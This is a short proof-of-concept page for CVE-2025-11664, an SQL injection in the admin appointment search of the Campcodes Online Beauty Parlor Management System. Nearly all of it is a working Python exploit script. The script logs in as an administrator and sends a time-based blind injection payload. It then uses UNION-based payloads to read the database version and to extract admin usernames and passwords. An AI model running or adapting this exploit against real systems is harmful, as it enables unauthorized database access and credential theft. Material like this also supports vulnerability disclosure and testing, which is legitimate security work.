CVE-2025-11664 Campcodes美容院管理系统SQL注入漏洞

# CVE-2025-11664 - Campcodes Online Beauty Parlor Management System SQL Injection PoC # Vulnerability Location: /admin/search-appointment.php # Vulnerable Parameter: searchdata import requests # Target configuration TARGET_URL = "http://target-host.com" ADMIN_PATH = "/admin/search-appointment.php" USERNAME = "admin" PASSWORD = "admin123" # Create a session to maintain cookies session = requests.Session() # Step 1: Login as administrator (PR:H requirement) login_url = f"{TARGET_URL}/admin/index.php" login_data = { "username": USERNAME, "password": PASSWORD, "submit": "Login" } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Exploit SQL injection via searchdata parameter # Time-based blind SQL injection payload injection_payload = "' OR SLEEP(5)-- -" search_url = f"{TARGET_URL}{ADMIN_PATH}" search_data = { "searchdata": injection_payload, "search": "Search" } print(f"[*] Sending SQL injection payload: {injection_payload}") response = session.post(search_url, data=search_data) print(f"[*] Response time: {response.elapsed.total_seconds()} seconds") # Step 3: Extract database information using UNION-based injection union_payload = "' UNION SELECT 1,user(),database(),version(),5,6,7,8,9,10-- -" search_data["searchdata"] = union_payload response = session.post(search_url, data=search_data) print(f"[*] Database info response:\n{response.text[:500]}") # Step 4: Extract admin credentials creds_payload = "' UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM admin-- -" search_data["searchdata"] = creds_payload response = session.post(search_url, data=search_data) print(f"[*] Admin credentials:\n{response.text[:500]}")